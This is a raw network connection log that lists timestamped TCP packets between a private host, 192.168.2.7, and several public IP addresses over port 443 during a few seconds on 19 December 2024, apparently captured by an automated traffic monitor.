Dec 19, 2024 13:44:37.340693951 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.340714931 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.344719887 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.345010042 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.345022917 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.353106976 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.353174925 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.353185892 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.378405094 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.378612041 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.378619909 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.379659891 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.379745960 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.380774975 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.380826950 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.381164074 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.381171942 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.416191101 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.416412115 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.416425943 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.424350023 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.424451113 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.424463034 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.432986975 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.433073997 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.433083057 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.446659088 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.446712971 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.446734905 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.447906971 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.460303068 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.460412025 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.460427999 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.473262072 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.473310947 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.473331928 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.485639095 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.486479998 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.486495972 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.500170946 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.501233101 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.501249075 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.501904964 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:37.501935959 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:37.502496958 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:37.505543947 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:37.505559921 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:37.514182091 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.514478922 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.514492989 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.517659903 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.517752886 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.517873049 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.518066883 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.518076897 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.525918961 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.526088953 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.526114941 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.526132107 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.539107084 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.539175034 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.539185047 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.550532103 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.550632000 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.550645113 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.560482025 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.560581923 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.560880899 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.562334061 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.562417984 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.562431097 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.562916994 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.562938929 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.574172974 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.575099945 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.575119019 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.599411011 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.602022886 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.602037907 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.602293015 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.602312088 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.618423939 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.618489027 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.618505001 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.631124020 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.634943962 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.634959936 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.637702942 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.637799025 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.637816906 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.651437044 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.651499987 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.651510954 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.665642023 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.665745974 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.665760040 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.671782017 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.674484968 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.674493074 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.682159901 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.682315111 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.682322979 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.701673031 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.701858997 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.701872110 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.714879036 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.714960098 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.714972019 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.722445011 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.722512007 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.722520113 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.726536989 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.726666927 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.726682901 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.741699934 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.741775036 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.741785049 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.753329992 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.754549026 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.754556894 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.760087013 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.760207891 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.760215998 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.773627043 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.773957968 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.773967028 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.784679890 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.784769058 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.784785986 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.789180994 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.789288998 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.789297104 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.791260004 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.791340113 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.791346073 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.802917004 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.803073883 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.803081036 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.819901943 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.819964886 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.819973946 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.827183962 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.827238083 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.827244997 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.834595919 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.834698915 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.834707975 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.846903086 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.847012043 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.847018957 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.860618114 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.860650063 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.860685110 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.860693932 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.860770941 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.862181902 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.865077019 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.865147114 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.865154982 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.868906975 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.868987083 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.868989944 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.868998051 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.869079113 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.891237974 CET	49784	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.891643047 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.891783953 CET	49796	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.891832113 CET	443	49796	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.891894102 CET	49796	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.892616034 CET	49796	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.892633915 CET	443	49796	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.892795086 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.892920971 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.892930984 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.893361092 CET	49787	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.894134998 CET	49797	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.894201040 CET	443	49797	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.894272089 CET	49797	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.895549059 CET	49786	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.895920038 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.895948887 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.896075964 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.896229982 CET	49797	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.896261930 CET	443	49797	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.898086071 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.898102999 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.911286116 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.911346912 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.911361933 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.911374092 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.911482096 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.912467957 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.919842958 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.919904947 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.919959068 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.919970036 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.920104980 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.920761108 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.920828104 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.922136068 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.928142071 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.928152084 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.928239107 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.928267002 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.935336113 CET	443	49784	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.939342976 CET	443	49787	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.943332911 CET	443	49786	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.950010061 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.950071096 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:37.950144053 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.950547934 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:37.950561047 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:38.007777929 CET	443	49784	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.007910013 CET	443	49784	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.007937908 CET	49784	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.008011103 CET	49784	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.116406918 CET	443	49786	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:38.116528988 CET	49786	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:38.118793964 CET	443	49787	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.118875027 CET	49787	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.206053019 CET	49801	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.206078053 CET	443	49801	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.206233025 CET	49801	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.206548929 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.206578970 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.206655979 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.206664085 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.206680059 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.206769943 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.207209110 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.207235098 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.207307100 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.207540035 CET	49801	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.207551956 CET	443	49801	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.207953930 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.207966089 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.208151102 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.208159924 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.208602905 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.208626032 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.297852039 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.297907114 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.297975063 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.298198938 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:38.298217058 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:38.948306084 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:38.948380947 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:38.950339079 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:38.950345993 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:38.950588942 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:38.971025944 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:39.015326023 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:39.135740042 CET	443	49796	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.136070967 CET	49796	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.136094093 CET	443	49796	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.136611938 CET	443	49796	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.137717009 CET	49796	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.137820959 CET	443	49796	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.137986898 CET	443	49797	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.138180017 CET	49797	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.138230085 CET	443	49797	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.138701916 CET	443	49797	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.139571905 CET	49797	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.139678955 CET	443	49797	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.141273022 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:39.141530991 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:39.141541004 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:39.141989946 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:39.142884970 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:39.142963886 CET	443	49798	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:39.229090929 CET	49796	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.229429960 CET	49798	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:39.229434967 CET	49797	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.432277918 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.432535887 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.432545900 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.432557106 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.432774067 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.432781935 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.433113098 CET	443	49801	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.433392048 CET	49801	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.433399916 CET	443	49801	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.433583975 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.433640003 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.433856010 CET	443	49801	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.433998108 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.434062004 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.434216022 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.434277058 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.434369087 CET	49801	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.434446096 CET	443	49801	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.434623957 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.434703112 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.436518908 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.436831951 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.436847925 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.437980890 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.438136101 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.438456059 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.438519955 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.522584915 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.522851944 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.522865057 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.524755001 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.524821997 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.525273085 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.525353909 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.559789896 CET	49801	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.643330097 CET	443	49803	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.643331051 CET	443	49804	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.643441916 CET	49804	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.646538973 CET	49803	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.647326946 CET	443	49802	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.647478104 CET	49802	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.650954008 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.650975943 CET	443	49805	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:39.838459969 CET	49805	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:39.952331066 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:39.952409029 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:39.952428102 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:39.952491045 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:39.963418007 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:39.967585087 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:39.967648983 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:39.967657089 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.025960922 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:40.025983095 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.057674885 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.057750940 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:40.057760000 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.057806015 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:40.173690081 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.173698902 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.173744917 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:40.173758030 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.173784971 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:40.173789978 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.173818111 CET	49795	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:40.173821926 CET	443	49795	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:40.173835993 CET	49795	443	192.168.2.7	162.125.69.18
